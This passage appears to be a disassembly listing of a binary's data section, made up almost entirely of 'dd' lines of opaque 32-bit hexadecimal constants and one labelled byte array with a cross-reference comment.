		dd 0E9E0E59Dh, 0C9C3643Eh, 0B48E462Bh, 472BB2D8h, 0B89C768Dh
		dd 0D8D6F8FEh, 0C68FFDB2h, 614605ECh, 2ADA4A9h,	8B0006FDh
		dd 462BBC36h, 8CC3B48Eh, 0B11C9B2h, 6487C6E9h, 29BAA14Dh
		dd 0DC8EF2FCh, 9E0A1D9h, 0D2B6B0B6h, 0C9C33E18h, 0A3C66F1Dh
		dd 29BAA10Eh, 0D83B1568h, 8E462BB2h, 2BB2D8B4h,	89878C44h
		dd 553AECA4h, 3348989Dh, 0C85B1D1Dh, 0A67B0CCh,	0C6431DC7h
		dd 4F313D9Ah, 0A557D040h, 8C0107C1h, 0D5D9BD37h, 0C396859Ah
		dd 66179ABDh, 0C5F29BAh, 0C6F3A161h, 0EC6AD87h,	0C90C1209h
		dd 29BAA0E8h, 4A243B8Eh, 0ADA4A961h, 5B6018FBh,	0C63C5E64h
		dd 494E08ECh, 0A0EEC3E6h, 358829BAh, 225848Ah, 29BAA0AFh
		dd 0C69A74C7h, 0A14D6487h, 0D62929BAh, 2B746ED0h, 0C6B48E46h
		dd 4A500AECh, 6F1DEEE8h, 0F203ECC6h, 2B06FD24h,	0CED37E4Bh
		dd 2184D1D7h, 6DF2BFE2h, 398C29BAh, 6F1D1133h, 472BB2D8h
		dd 0C9C3B38Dh, 0CFE29FEDh, 0A429BAA0h, 53B05933h, 2BA4E6E1h
		dd 0D8B38D47h, 0FBB59B75h, 9FEDD3F5h, 0BAA0CFE2h, 5286729h
		dd 29BAA0ACh, 57797FD2h, 6B2652FDh, 0CF69A59Fh,	0F1C0E3FAh
		dd 8D29BA7Bh, 0B012343Ah, 0E8CAA453h, 0DB937C2Eh, 0ECC6B3D5h
		dd 8474D05h, 2B9FEDC6h,	948B9048h, 0A1575A7Dh, 0CC1F29BAh
		dd 0A3C65E0Ch, 29BAA10Eh, 2D8FFC28h, 437FB0A1h,	0ECF1AB91h
		dd 7DD0EFF5h, 0EEA88C66h, 0CAECF2E9h, 6F1DC9C3h, 0CFE2B2D8h
		dd 0A429BAA0h, 53B05933h, 0C66F1DE1h, 0BAA10EA3h, 3B156829h
		dd 472BC9C3h, 0D1E8A286h, 0BAA103AEh, 7D287B29h, 608CC3A3h
		dd 4E48661Eh, 294B51E5h, 0B38D472Bh, 87C6B2D8h,	0BAA14D64h
		dd 0D0D62929h, 0BAA1248Dh, 52EE1A29h, 63FD6C2Ch, 33E4060Ch
		dd 0E153B059h, 768D472Bh, 315F3F4Ah, 2228CA7Fh,	2BC9C300h
		dd 0C6B69048h, 0A14D6487h, 76FC29BAh, 96D4680Eh, 0AAC114EBh
		dd 0BA442A87h, 0FB015429h, 87C688AEh, 0BAA14D64h, 0EBA5FC29h
		dd 47A9C09Bh, 0D4171D70h, 29BA28DDh, 90482B96h,	4D8CC3B6h
		dd 0BAA0872Ah, 969CEF29h, 8D472B74h, 9B75D8B3h,	0D4F6FCB4h
		dd 0B690482Bh, 5933B2D8h, 2BE153B0h, 0C3B38D47h, 90482BC9h
		dd 0C19AC6B6h, 831FEB1Dh, 0C9006268h, 27ADFF9Dh, 24D6F451h
		dd 8B82873Fh, 321D6385h, 0B2B87258h, 2BB2D890h,	0E9A18647h
		dd 0C5E8273Eh, 29BAA0ECh, 5283F92h, 29BAA0ACh, 57797FD2h
		dd 4C06ECC6h, 2BD3F946h, 948B9048h, 87C626D4h, 0A08C2548h
		dd 9FF229BAh, 0A15F5699h, 0C41729BAh, 2BC9C3EAh, 0C6B38D47h
		dd 484D05ECh, 0EFE94B51h, 0AA8D67E6h, 2BCAECF2h, 0D8B38D47h
		dd 90482BB2h, 2BB2D8B6h, 63492349h, 0B2ADA4A9h,	29BAA0FFh
		dd 9F792477h, 0CAAD87C6h, 0A09A1712h, 25E429BAh, 0BAA0AF02h
		dd 0C974C729h, 0D41376C3h, 0BAA100B1h, 1D237629h, 5ECC6FBh
		dd 5F04474Dh, 9405ECC9h, 788F492Bh, 85AC0D39h, 0AF7C2CD6h
		dd 0BA9BFDB4h, 20267929h, 2BC9C3FEh, 9F799048h,	6FD02BAh
		dd 75D8DE00h, 0F8FDB79Bh, 0E2D9FB01h, 3FB686C9h, 11725581h
		dd 0A9AE684Eh, 0F27EAEB2h, 2BF91B21h, 0B0012448h, 0C629BAA0h
		dd 0C3EEC873h, 90482BC9h, 0B89F79h, 0B2D8D8FAh,	4C06ECC6h
		dd 74A5047h, 29BAA0A7h,	0C694F6CEh, 0B4F203ECh,	43AD764Eh
		dd 0CA3F45F0h, 692BE75h, 21AB2862h, 2B16383Eh, 0C3B69048h
		dd 90482BC9h, 1BB9F79h,	0DDFF05FCh, 0FCE2B2D8h,	777257B2h
		dd 0CFB48EC1h, 151B1217h, 0E153B0F3h, 490AECC6h, 0F8FEA963h
		dd 89631BFEh, 0D0B28CC3h, 681A1116h, 0CDC4C981h
		db 0C7h
byte_5C3A41	db 0A5h, 2Bh, 48h	; DATA XREF: ___:off_44207Co
		dd 9AC6B690h, 8B71275Fh, 0D2F50C7Dh, 29B9F3DFh,	0F13E4497h
		dd 69AC6CBh, 21F33840h,	641E9096h, 8D472B4Ch, 94A58A88h
		dd 0F1999097h, 0C2C772ADh, 3578D596h, 53B0CD6Fh, 90482BE1h
		dd 2BC9C3B6h, 9F799048h, 0D9FB01BBh, 2E2B2D8h, 38595D88h
		dd 0B8BE785Eh, 8B452B96h, 0EAA48886h, 6DC2EFE5h, 0B0D44222h
		dd 482BE153h, 0C9C3B690h, 0B690482Bh, 0BD4975D8h, 4EFADBEh
		dd 0B388AAB0h, 3817E0F2h, 0A0DBD6F9h, 50A329BAh, 53B0284Ah
		dd 90482BE1h, 6487C6B6h, 29BAA14Dh, 0D9B06A4Eh,	36F0D486h
		dd 0D2343A31h, 0BE276F9Bh, 6DD8D9FCh, 4B9E29BAh, 0D33ECC47h
		dd 0ECC6ABCDh, 15384F07h, 29BAA09Ch, 8F898FE2h,	0C61AF4ACh
		dd 474D05ECh, 8BE2D4FAh, 0ABFEDFF8h, 92DEA47Fh,	0B7BD555Ah
		dd 0C68FFD95h, 9E500AECh, 6FD02BCh, 7F368B00h, 308C0A5h
		dd 2BE4060Ch, 0E4293748h, 9DC40A25h, 1A01DBF2h,	60665D62h
		dd 9ECC63Eh, 0C6E94C51h, 29BAA0EBh, 7E954093h, 0BAA1565Bh
		dd 0C7CD2029h, 492B6B65h, 3AA9F036h, 787C8B39h,	24207B26h
		dd 2600ABC0h, 0ECC6B2D8h, 0FEB9F508h, 72C9C91h,	5A60575Ch
		dd 0EBC57D60h, 4D6487C6h, 2929BAA1h, 5D83D0D6h,	0ECC68FFDh
		dd 0D0454B03h, 492B0173h, 0C9C3B58Fh, 0B2D86F1Dh, 0B690482Bh
		dd 0E4D8CC3h, 0BAA0C6EBh, 625DB029h, 29BAA14Fh,	0ACCED427h
		dd 0CFE29FEDh, 6729BAA0h, 0EBF0A88Dh, 33CCEEF4h, 0AECC659h
		dd 0A0F0C1E4h, 338629BAh, 0B00D8288h, 2BA4E63Eh, 0D8B58F49h
		dd 0A0CCE2B2h, 2BA729BAh, 89878C44h, 0F2E8EDA7h, 96B968C5h
		dd 29BAA11Bh, 7E651063h, 0A453B01Ch, 0EFA98B65h, 0BAA0BDF4h
		dd 6066B929h, 8F492B3Eh, 6487C6B5h, 29BAA14Dh, 6ED0D629h
		dd 88492B74h, 273EE9A1h, 928BBCFBh, 676DA1EAh, 98B2D845h
		dd 2BC9C3F2h, 9E788F49h, 0D5F7FDB5h, 0ECC6B2D8h, 3464C06h
		dd 77867A3Ah, 0AABBA27Ch, 0C85FF3CDh, 0F14BFB5h, 0B6F01218h
		dd 0E153B0D4h, 4D6487C6h, 0FC29BAA1h, 21E1FDCFh, 88DBB22Eh
		dd 0E5A68882h, 0C19B46FEh, 500AECC6h, 0EC4E544Bh, 8F492BF2h
		dd 2BB2D8B5h, 0C3B69048h, 6487C6C9h, 29BAA14Dh,	0D6D0D629h
		dd 9A66E1F4h, 996BAF08h, 4C5000C7h, 4126FFAAh, 5933DE89h
		dd 0A3C6C9C3h, 29BAA10Eh, 0A7551568h, 0FFAE9AC6h, 6E722C12h
		dd 0FEE162A5h, 9F4A4146h, 9A173A99h, 0E429B9EBh, 0B2D8B791h
		dd 3981AEE2h, 52FD893Eh, 0B1D413h, 7629BAA1h, 0A0892823h
		dd 0A2F529BAh, 53B07A9Ch, 58321DE1h, 90B2B872h,	0A10EA3C6h
		dd 156829BAh, 0EA3C63Bh, 6829BAA1h, 4124FE15h, 0C3618389h
		dd 0C66F1DC9h, 0BAA10EA3h, 0FE156829h, 0F91C4224h, 29BAA0B8h
		dd 0BBC06BBEh, 0B2C2C0C4h, 0A8A8617Ch, 0B2D880A2h, 4E08ECC6h
		dd 0BBA05249h, 0CBAFD03h, 87304598h, 0F01352FDh, 29BAA0C1h
		dd 42646ABDh, 1DE153B0h, 0EA3C66Fh, 6829BAA1h, 169C28BCh
		dd 58038A80h, 0EA3C67Eh, 6829BAA1h, 6519FBBCh, 35E0DBDFh
		dd 6ECC65Bh, 4A50474Ch,	321DEEE8h, 0B6BB7358h, 0A0813053h
		dd 0AAFD29BAh, 0C6D7F9FFh, 0BAA10EA3h, 65FC2829h, 8E7C5BE7h
		dd 0F346656Bh, 2BB2D819h, 0D8B69048h, 0FEB69B75h, 0DAFC02F9h
		dd 888D472Bh, 0E7ECA68Ah, 9FE23F74h, 513A14BFh,	869D9499h
		dd 0BAA14E63h, 0CFD52829h, 0E153B0ADh, 0A3C66F1Dh, 29BAA10Eh
		dd 0C63B1568h, 0BAA10EA3h, 6C4E2829h, 0B0B6ADB2h, 0C6643E91h
		dd 0CDF306ECh, 4F9701DCh, 0FD5F6510h, 0EA3C603h, 6829BAA1h
		dd 0C6A75515h, 0FC9AD87h, 0CA0D130Ah, 29BAA0E7h, 0C6623C8Fh
		dd 464B03ECh, 0D6FC494Fh, 4597E4E2h, 0C0E32230h, 0FBB67F1h
		dd 12343A8Dh, 0ECC65933h, 52494E08h, 87AD74Ch, 7258321Dh
		dd 0B6BCB3B8h, 0E79AC694h, 943219CBh, 640FC7AEh, 0D5DCFF5Eh
		dd 6129B9B3h, 0E51B5D35h, 0E0923A11h, 433A3FF7h, 0B4CB1E3Dh
		dd 393EF8DAh, 979C543Bh, 0CDEFF5A0h, 4F07ECC6h,	0EAC7EA49h
		dd 9429BAA0h, 0C9C36741h, 0A10EA3C6h, 156829BAh, 0A3C6A755h
		dd 29BAA10Eh, 0D83B1568h, 81AEE2B2h, 33893E39h,	0A25C421Ch
		dd 53B07A9Ch, 0C66F1DE1h, 4A500AECh, 0F0D2ACEBh, 0C4ED3036h
		dd 0BA29BAA0h, 90765067h, 0D4DAD1D6h, 4887C6B2h, 0C8CD856Eh
		dd 0A0DBD6D1h, 987629BAh, 920CB202h, 8066C097h,	1FCAC1C6h
		dd 15DBD619h, 246329BAh, 0BA15B001h, 6D73C629h,	0A5E4FB4Eh
		dd 0BA162F82h, 0EEF44729h, 2BC9C3CCh, 0C3B69048h, 0E94FD1C9h
		dd 4E454A02h, 0A3C6C9A3h, 2E5ABD13h, 0C3482275h, 5ECC6C9h
		dd 2DF3474Dh, 0ECC6340Eh, 52494E08h, 82AEED4Ch,	3C5FAA48h
		dd 29BA7275h, 0DAAAAE01h, 74B7BD79h, 2E59F642h,	0DAF144h
		dd 0BC765A19h, 1015C0B7h, 99BD1519h, 2F236CC5h,	0B2D80729h
		dd 9BAB45E2h, 59334253h, 0E2A09AC6h, 0D4FDF1CAh, 4D0459CEh
		dd 0A30A9421h, 0BA4E3180h, 0F6FA4D29h, 0F6196F02h, 29BA90BBh
		dd 0BFC570C3h, 0F04FD19Dh, 13A3C616h, 752E5ABDh, 0ECC64822h
		dd 0AD654807h, 0B46E5002h, 50B2B8AFh, 6ECC656h,	0ED94D1F3h
		dd 984378D0h, 0F4AC9593h, 51004349h, 0AA29B9D8h, 0B38D472Bh
		dd 4D6487C6h, 2929BAA1h, 2855D2D6h, 0AD193AD7h,	1D345AA7h
		dd 0EA3C66Fh, 6829BAA1h, 0C9C33B15h, 0C7F3321Dh, 0FF488D1Eh
		dd 0EAC7C20Fh, 0B929B9D0h, 1F161BD5h, 0CDEFF548h, 6F1DB2D8h
		dd 482BB2D8h, 0BA9F7990h, 0C3DAFC02h, 0FA9AC6C9h, 9F932400h
		dd 9AE82026h, 0BAA0CFE2h, 1C33A429h, 0A0A55D42h, 0FC01B9A2h
		dd 32545A05h, 0E6E153B0h, 0ECA48D67h, 24CA6AE8h, 8B91A616h
		dd 9ECC669h, 6D514B51h,	0B2D8D9B3h, 173662EDh, 0DBA319Bh
		dd 2BB5D7DDh, 9C768D47h, 0FFF6FBB3h, 0C9C3D7F9h, 0FE21472Bh
		dd 29BAA0B3h, 0F3CD78CBh, 0CFE2B2D8h, 6729BAA0h, 0ECF1AB8Dh
		dd 33CDEFF5h, 32B6F01Ch, 1C209580h, 53B0F416h, 8D472BE1h
		dd 0B28CC3B3h, 1A1116D0h, 0C3C88268h, 2BA4C6CCh, 0D8B58F49h
		dd 6487C6B2h, 29BAA14Dh, 3E24D629h, 82887F84h, 51E0453Fh
		dd 492B3850h, 448C0A36h, 20603B3h, 48087226h, 5A34DF92h
		dd 492BC9C3h, 9AC6B58Fh, 5F4195DDh, 0A5A9A0A5h,	806634DAh
		dd 1FCAC1C6h, 8F69CC19h, 0C6E8EEA6h, 53B0AAE0h,	2EE8CAA4h
		dd 0A2C3229h, 492BC9C3h, 0D54C788Fh, 7CCC6B5Eh,	0D813353Bh
		dd 1F18E2B2h, 0B66BAFAEh, 0E153B0D4h, 4D6487C6h, 2929BAA1h
		dd 0F4D6D0D6h, 0D3F8ABE1h, 161ABF8Dh, 0DBA1FA67h, 0D7B15CB3h
		dd 472BC9C3h, 814A768Dh, 58B3ABBDh, 272CE4CDh, 5D7F8530h
		dd 0B59B75D8h, 0F0C1E4FBh, 8629BAA0h, 2B0B2D33h, 4C788F49h
		dd 0BCABB395h, 0EEC7CBB6h, 0BC7958EBh, 0D8486A70h, 88492BB2h
		dd 0F0E7ECA6h, 5E424045h, 0B86D9FA4h, 946E185Bh, 2BE153B0h
		dd 37768D47h, 0BAA09D14h, 8086D929h, 0B28CC35Eh, 160D12CCh
		dd 87C6EE10h, 0BAA14D64h, 7C00FC29h, 9923F62Eh,	2C6B6FC2h
		dd 650D021Dh, 0B6989298h, 0C9C322FCh, 0A10EA3C6h, 52829BAh
		dd 29BAA0ACh, 55A87FD2h, 75D8E795h, 0F7FDB79Bh,	8D472BD5h
		dd 1DB2D8B3h, 12A3C66Fh, 3429BAA1h, 0B00EB608h,	7A80E709h
		dd 0C32E085Bh, 8D472BC9h, 0E6C9C3B3h, 8F01E2A4h, 2B7629BAh
		dd 0D8B58F49h, 0C66F1DB2h, 0BAA10EA3h, 3B156829h, 0ECC6C9C3h
		dd 534A4F07h, 7C40C24Fh, 9298E311h, 5A57074Fh, 492B7E2Eh
		dd 0A0B10023h, 7ACD29BAh, 0C9C3F5CFh, 0FD20442Bh, 29BAA0B4h
		dd 0C0F21ECAh, 7F2802Ch, 5B9AB15Ch, 0BA3A7938h,	0ACB20529h
		dd 2BB2D88Ah, 3C053748h
		dd 2D6E0E41h, 0B9DEA70Ah, 0D17CCF29h, 0ECC64C26h, 0B2994B03h
		dd 0F8FEF5FAh, 291C48ABh, 0BC5A9C3h, 2A809507h,	74E20224h
		dd 925D07ACh, 663A3C66h, 537660DFh, 0B4FCB25Eh,	141AC518h
		dd 90482BF2h, 0E2C9C3B6h, 880986BDh, 8C442BBAh,	9E133675h
		dd 0D829BAA0h, 0C35D7F85h, 33442BC9h, 0FB00914Eh, 863E2790h
		dd 3F1930DBh, 7C9EA45Ch, 0ECC6B2D8h, 514B5109h,	0D8DCB66Eh
		dd 9E133675h, 0FD29BAA0h, 655C611Bh, 13353B8Eh,	53B08FFDh
		dd 5ECC6E1h, 664D474Dh,	0D7BD97AEh, 0C6F5171Dh,	0A14D6487h
		dd 0D62929BAh, 80864024h, 0ECC6241Eh, 514B5109h, 0C6DCB66Eh
		dd 0B300899Ah, 5F65FB32h, 492B03FDh, 0EE0A5436h, 0DF8A7407h
		dd 2BB2D805h, 0D8B28C44h, 0B05933B2h, 492BE153h, 7194A588h
		dd 0D058F2Bh, 0E3DADF8Ah, 0C9C35E38h, 0B28C442Bh, 87C6C9C3h
		dd 0BAA14D64h, 0AD654E29h, 837D83D6h, 0D80DE7A1h, 8A422BB2h
		dd 2BB2D8B0h, 88868B45h, 70E3E8A2h, 0F19BE63Bh,	0AECC617h
		dd 78D54A50h, 8F492B06h, 2BC9C3B5h, 0D8B28C44h,	0B834E2B2h
		dd 0C60F054Ch, 0BEE105ECh, 29BAA0F3h, 0DB8D388Bh, 40373CF4h
		dd 0A159403Ah, 0C6C9C3C7h, 126EE89Ah, 8A90C135h, 0DDF4AE90h
		dd 68367B9Eh, 0ED4029BAh, 969C543Bh, 0A9AC674h,	31D33484h
		dd 4D73C0C6h, 0A385442Bh, 3BEE5E9h, 0A3661CE8h,	75D81EF8h
		dd 0B6858449h, 0A288330Ch, 15373DE8h, 937852FDh, 0D9DFD6DBh
		dd 0FF9AC6B7h, 0BE3611CFh, 0E6EBA38Ah, 0C93E44EFh, 87C6FA74h
		dd 0BAA14D64h, 0D0D62929h, 603AF4D6h, 4D05ECC6h, 0E94B5148h
		dd 8C442BEFh, 0D1C9C3B2h, 0C611EB4Ah, 9E500AECh, 5FC01B9h
		dd 2B8CB2FFh, 0C3B38D47h, 36492BC9h, 0C65F6EBh,	8ED73661h
		dd 858C1271h, 0D9182FDAh, 0B9DCFBB6h, 2A308329h, 0C6C9C308h
		dd 923D79Ah, 0EBF19F66h, 0CFE265B3h, 0A429BAA0h, 53B08FFDh
		dd 2BA4E6E1h, 0D8B38D47h, 0FAB29B75h, 6F1DD2F4h, 0A10EA3C6h
		dd 156829BAh, 0E2C9C33Bh, 5F6CE1D7h, 21472BACh,	0BAA0B3FEh
		dd 0CD78CB29h, 0B28CC3F3h, 0EA0C12CCh, 0B38D472Bh, 0B29B75D8h
		dd 0E2D2F4FAh, 2643F003h, 1958F780h, 0DED1D4EDh, 9994C101h
		dd 29BA8918h, 0E3050B5Eh, 0C6E153B0h, 474C06ECh, 9B163950h
		dd 0E329BAA0h, 0AC908A90h, 1D01DBF2h, 0C33B5D63h, 418B608Ch
		dd 0F63665A5h, 492BCEF0h, 0B2D8B58Fh, 44FF26E2h, 9AC62139h
		dd 54B1B29Fh, 2F292F2Bh, 0C6B9934Dh, 464B03ECh,	0FDB79D4Fh
		dd 99FB01F8h, 459AC69Fh, 13947771h, 270B050Bh, 0B2D8936Dh
		dd 0B58F492Bh, 0D4B6B2D8h, 2BE153B0h, 0C3B38D47h, 8F492BC9h
		dd 0FFB79E78h, 0DBFD03FAh, 472BC9C3h, 0B2D8B38Dh, 0BAA0CCE2h
		dd 0A93E6A29h, 0F9FA8375h, 2F03AED1h, 287B29BAh, 2DE7CB7Dh
		dd 92B3128h, 987D57F6h,	0B0B8DAE0h, 472BE153h, 0C9C3B38Dh
		dd 0BAB367E2h, 3D609F29h, 29BA8C74h, 8FB1B70Ah,	4F07ECC6h
		dd 0F8FEB69Dh, 89631BFEh, 4B03ECC6h, 1DD2F845h,	0EA3C66Fh
		dd 6829BAA1h, 0C9C33B15h, 687F7BE2h, 0FDE1BB68h, 0F5A05A3Ch
		dd 482BCDEFh, 0ECC6B690h, 0E3454B03h, 90482BE9h, 9B75D8B6h
		dd 624BFDB7h, 0A8AEA5AAh, 0F5ADE286h, 2B8A17CDh, 0B5FC1F45h
		dd 0C129BAA0h, 0C0BEC36Eh, 823C1EDDh, 0D6DB867Dh, 923CF6D8h
		dd 0D5BE0865h, 0EEC8721Dh, 2BE153B0h, 0C3B69048h, 5ECC6C9h
		dd 0FDA86246h, 621AFDF7h, 0E2B2D888h, 611AC496h, 8E462BF1h
		dd 0EFA98B89h, 0E43982EAh, 0C64BB999h, 0A14D6487h, 0D62929BAh
		dd 8C065BD0h, 0A089482Bh, 0C3633DE8h, 8ECC6C9h,	684E484Eh
		dd 355897AEh, 29BAA07Ch, 0A1129FC2h, 196C29BAh,	0C7E9EF42h
		dd 74E2B2D8h, 0CF3753FCh, 9F84452Bh, 40EBE2E7h,	2BC9C366h
		dd 0EDA78948h, 2F46F1E8h, 0A0E4CDF0h, 479A29BAh, 0B2D81F41h
		dd 0CD32452Bh, 30E8D1B5h, 5630342Bh, 954D32CFh,	0D8653FEAh
		dd 0B05933B2h, 482BE153h, 173A7990h, 29BAA09Ah,	0EAA48AE4h
		dd 0C617393Fh, 0A14D6487h, 0D62929BAh, 2B746ED0h, 0C3B18B45h
		dd 90482BC9h, 0E2B2D8B6h, 29BAA0CCh, 8D472BA7h,	0EDA58A88h
		dd 0AC01B6E8h, 0B0187A61h, 482BE153h, 0B99F7990h, 0FD03FAFFh
		dd 2BC9C3DBh, 1D963748h, 0CEF7BBB0h, 0B2D84923h, 0E59A89E2h
		dd 8FFDFE64h, 0CAA453B0h, 2E252AE4h, 482B0628h,	34611A37h
		dd 0F5587EBh, 548C9086h, 3E18C341h, 472BC9C3h, 0BA9C768Dh
		dd 0FE04FB00h, 2BB2D8DCh, 0D8B69048h, 0D3FA4975h, 0D92A4E84h
		dd 0D4B6B1D3h, 0CAA453B0h, 894126E5h, 0DDE28D84h, 2BBEE0E6h
		dd 4A768D47h, 7B0CCBEh,	62848A35h, 482BC9C3h, 0B99F7990h
		dd 0C3D7F9FFh, 8D472BC9h, 6487C6B3h, 29BAA14Dh,	83D0D629h
		dd 0F3BEE120h, 8B29BAA0h, 2B103238h, 0C3B69048h, 8D472BC9h
		dd 5ECC6B3h, 0EBE5474Dh, 13ED4CD1h, 0B99B75D8h,	0F4AAFAFFh
		dd 0C45D46A2h, 8DAFB560h, 7990482Bh, 0FAFFB99Fh, 0D8DBFD03h
		dd 0B0BFCDB2h, 0E4CAA453h, 6ED5252Ah, 612818FBh, 0EC0E14BFh
		dd 34EAE31Fh, 9DA0C54h,	0C6560000h, 0B6D9849Ah,	0D4EB06B8h
		dd 0BA2B00B1h, 1D237629h, 0BA0B26DAh, 482B3129h, 0B2D8B690h
		dd 0A3C66F1Dh, 29BAA10Eh, 42A0E68h, 0BAA0D0E1h,	0A853A629h
		dd 0C9C323FDh, 4D6487C6h, 2929BAA1h, 4A98D0D6h,	0B690482Bh
		dd 462BC9C3h, 75D8B48Eh, 0F6FBB59Bh, 0C6D7F9FFh, 0D183BF9Ah
		dd 1E240DB3h, 0BA33D6DBh, 9AC69D29h, 502B7901h,	373137E1h
		dd 0C6C09A52h, 4DAB239Ah, 1F2562B2h, 482BC3BDh,	0B2D8B690h
		dd 778E462Bh, 4F01BB9Dh, 0B2A9AE66h, 0B2D88AACh, 888D472Bh
		dd 5A7DA18Ah, 29BAA157h, 1C21CC1Fh, 0CB166BB4h,	53B04721h
		dd 90482BE1h, 0CFFB4D79h, 0B56E6273h, 5C621A03h, 1DC9C33Ah
		dd 20A20632h, 7162E68Ch, 0A97A375Ah, 0B10429B9h, 0B2D889ABh
		dd 0B48E462Bh, 9FEDC9C3h, 0BAA0CFE2h, 5933A429h, 0C6E153B0h
		dd 1880E69Ah, 93998C06h, 462B1254h, 0B2D8B48Eh,	82C89AC6h
		dd 0D7944CF2h, 1A808ED1h, 2BF36B60h, 0E69E8746h, 0ECC6613Bh
		dd 4F464B03h, 2BEDE749h, 4B778E46h, 0F94C45h, 0EAD183CCh
		dd 0D80A2C32h, 576EE2B2h, 33C9949Fh, 0AD87C659h, 9A1712CAh
		dd 0E429BAA0h, 0B9168B91h, 8E462B47h, 3ECC6B4h,	494F464Bh
		dd 482BEDE7h, 0A0B00124h, 73C629BAh, 0B2D8EEC8h, 0B48E462Bh
		dd 8FFDB2D8h, 2BE153B0h, 3A799048h, 0BAA09A17h,	8B91E429h
		dd 4D8CC369h, 0BAA0872Ah, 0B395EF29h, 52FDF4F9h, 0FB00BAA0h
		dd 2BDCFE04h, 0E1A08746h, 4A4146FEh, 0C31AF49Fh, 8A422BC9h
		dd 0B2D81CCAh, 0A589482Bh, 44EFE6EBh, 9B75D86Ah, 0D4F6FCB4h
		dd 0ECC66F1Dh, 51484D05h, 0ECC9EC4Bh, 8A29BAA0h, 8CC35D37h
		dd 0E022B660h, 7076DD63h, 0BA9AC64Eh, 7AA5E414h, 41241E24h
		dd 0ECC6AF89h, 0E5474D05h, 5CE3D9EBh, 3FA5D88Bh, 0B2D8D17Fh
		dd 472BA4E6h, 0B69C768Dh, 17F9F7FCh, 0B661585Dh, 0B2D88EB0h
		dd 0D090482Bh, 69280BE5h, 191FCA82h, 0AD87C6F7h, 0C4070DC7h
		dd 29BAA0EDh, 0C35C3689h, 0C66F1DC9h, 464B03ECh, 0FFAA6448h
		dd 6F49ACF9h, 6E43668Ah, 829BAA1h, 0E050AB5h, 6F1DE608h
		dd 462BB2D8h, 0C9C3B48Eh, 0B58F492Bh, 9FEDB2D8h, 0B58F492Bh
		dd 0ECC6C9C3h, 0B29B4D05h, 0F8FEF5FAh, 4B621CFEh, 0D0D68E71h
		dd 3675D8AEh, 0BAA09E13h, 7F85D829h, 0A0CFE25Dh, 33A429BAh
		dd 0E153B059h, 0B58F492Bh, 422BC9C3h, 0B2D8B08Ah, 0BAA0CFE2h
		dd 422BA429h, 0C9C3B08Ah, 0A288492Bh, 0E5E3E8h,	0A14C4348h
		dd 0B2D81CF6h, 0B08A422Bh
		dd 4D6487C6h, 2929BAA1h, 5D83D0D6h, 53B05933h, 8F492BE1h
		dd 2BC9C3B5h, 0C6B08A42h, 0A14D6487h, 0D62929BAh, 2B746ED0h
		dd 0D8B58F49h, 6321DB2h, 5AC96B9Fh, 2690E452h, 73CD60CEh
		dd 0C6A0C2C8h, 0BAA10EA3h, 3B156829h, 4D6487C6h, 2929BAA1h
		dd 0E39FD2D6h, 0F02B97B1h, 603A9DEAh, 7E33567Ch, 0F829B9D9h
		dd 0FEF5FAA5h, 0D4B6D6F8h, 2BE153B0h, 0C3B58F49h, 0D86F1DC9h
		dd 8F492BB2h, 0B6B2D8B5h, 0B7846B97h, 682D84A7h, 0F64929BAh
		dd 0D437B8F2h, 878B36F0h, 4AA1C3A5h, 0A5C7CD50h, 1DE153B0h
		dd 0E1D0F332h, 9D29BAA0h, 0F9B1984Ah, 0A3C6D1F3h, 29BAA10Eh
		dd 0C33B1568h, 88492BC9h, 42FCE2A1h, 0E99B463Dh, 4D444903h
		dd 0ECC6C8A2h, 544B500Ah, 0C49E014Eh, 0FE2026E0h, 9AC66F1Dh
		dd 9709F7D7h, 99FC0008h, 739AC75Ah, 0A5C8272Dh,	29BAA00Ch
		dd 2190B372h, 5D29BAA0h, 0B872580Ah, 3711BCB3h,	422BB2D8h
		dd 0A387858Ah, 0A1575A7Dh, 0CC1F29BAh, 391E1C21h, 83E0A181h
		dd 0B0371940h, 492BE153h, 0C9C3B58Fh, 472BA4E6h, 0B2D8B38Dh
		dd 472B9FEDh, 0E6EBA386h, 0C66A44EFh, 0DC7AD87h, 9B161108h
		dd 0E329BAA0h, 0A0B00124h, 73C629BAh, 2960C2C8h, 0A0EAC7EAh
		dd 419429BAh, 0E8EEA68Fh, 34472BC6h, 8BE4B25Ah,	89630E6Ah
		dd 0CFE2B2D8h, 6729BAA0h, 0EAEFA98Dh, 33CBEDF3h, 0E153B059h
		dd 0B38D472Bh, 87C6C9C3h, 0BAA14D64h, 0D0D62929h, 4A31F2D6h
		dd 0EB968D92h, 0E2B2D811h, 29BAA0CFh, 0EEA68D67h, 0CAECF2E9h
		dd 0ECC65933h, 0D1464C06h, 472B027Ch, 0C9C3B38Dh, 19F3321Dh
		dd 82797E36h, 0BAA12A87h, 0D5B62729h, 1984F6F0h, 0C7E9EF42h
		dd 4F07ECC6h, 2BD6FC49h, 0D8B38D47h, 0C66F1DB2h, 0A14D6487h
		dd 0D62929BAh, 583271D0h, 0BEB5BA74h, 0A14075B8h, 8A3629BAh
		dd 38F937C7h, 0C5EC0FDCh, 0B129B9FCh, 1801B35Eh, 0B9645B60h
		dd 4D8CC3DFh, 0BAA0872Ah, 969CEF29h, 86472B74h,	0ECE3E8A2h
		dd 0ECC66741h, 0E5474D05h, 69AC6EBh, 2D693834h,	0EDA58E40h
		dd 0ACEBF1E8h, 0B46C532Dh, 422B8CAEh, 0B2D8B08Ah, 33B255E2h
		dd 391BF556h, 7D837A7Fh, 8A422B5Bh, 2BC9C3B0h, 0E7A18746h
		dd 0B2D8623Ch, 0B08A422Bh, 52FDB2D8h, 0A0C1F013h, 6ABD29BAh
		dd 53B04264h, 46478A4h,	0C64AA462h, 3337B664h, 7188C11Fh
		dd 0BA12634Eh, 0C2C81B29h, 22462BA0h, 0BAA0B2FFh, 22949F29h
		dd 965903C2h, 0E7C16CBFh, 422BC9C3h, 0C9C3B08Ah, 0B48E462Bh
		dd 94E2B2D8h, 0EF5139CEh, 868B452Bh, 0E5EAA488h, 434800E7h
		dd 93F0254Ch, 0B0CCA650h, 462BE153h, 0C9C3B48Eh, 4F07ECC6h
		dd 534D534Ah, 0C6DCB66Eh, 474D05ECh, 0ACE2D4FAh, 877FA4A2h
		dd 53B05933h, 35462BE1h, 0A5655ADDh, 748B3654h,	0CF00D348h
		dd 0BC2C30E8h, 0A3C5CBBAh, 87C6C9C3h, 0BAA14D64h, 0D0D62929h
		dd 5F39F1D6h, 0ECC6B2D8h, 0A7614708h, 18FCF6FCh, 0B2D8845Eh
		dd 888D472Bh, 0EAEFA78Ah, 5DA0FDBEh, 53B0D9B3h,	8E462BE1h
